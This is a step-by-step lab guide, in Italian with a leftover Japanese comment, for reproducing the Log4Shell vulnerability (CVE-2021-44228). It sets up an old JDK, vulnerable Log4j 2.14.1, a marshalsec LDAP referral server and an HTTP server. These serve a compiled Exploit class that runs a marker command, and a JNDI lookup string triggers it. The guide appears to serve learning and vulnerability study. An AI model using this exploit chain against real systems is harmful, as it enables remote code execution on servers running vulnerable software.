
Guida di riproduzione passo-passo per CVE-2021-44228 (Log4Shell) con JDK 8u20, Log4j 2.14.1 vulnerabile, server LDAP marshalsec e compilazione di payload personalizzati.
Penso che questa storia sia più pratica (pianto)christophetd/log4shell-vulnerable-app
Poiché ho indagato solo per interesse e d'impulso, ritengo che ci possano essere parti vaghe o errori.
Per favore, procedete a vostro rischio e pericolo.
Dovrebbe funzionare in un ambiente linux.
A partire da jdk8u191, è stata aggiunta l'opzione com.sun.jndi.rmi.object.trustURLCodebase e il valore predefinito è False.
In questo stato non è possibile caricare classi preparate esternamente, quindi questa volta utilizziamo una versione precedente.
(È possibile caricare classi interne o bypassare? ?)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
Download diretto di jdk8u20
Decomprimerlo e posizionarlo ad esempio in /opt.
Download di log4j
Estrarre l'archivio e prelevare log4j-api-2.14.1.jar e (questa volta li ho inseriti in una directory chiamata log4japp).
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource がないと動きませんでした。
}
}
mbechler/marshalsec
Reindirizzare le richieste LDAP verso il Web.
mvn clean package -DskipTests
Avvio dell'ascolto
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
Preparare anche la destinazione del reindirizzamento di marshalsec
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
Compilare usando il jdk8u20 installato
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
Compilare ed eseguire usando il jdk8u20 installato.
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
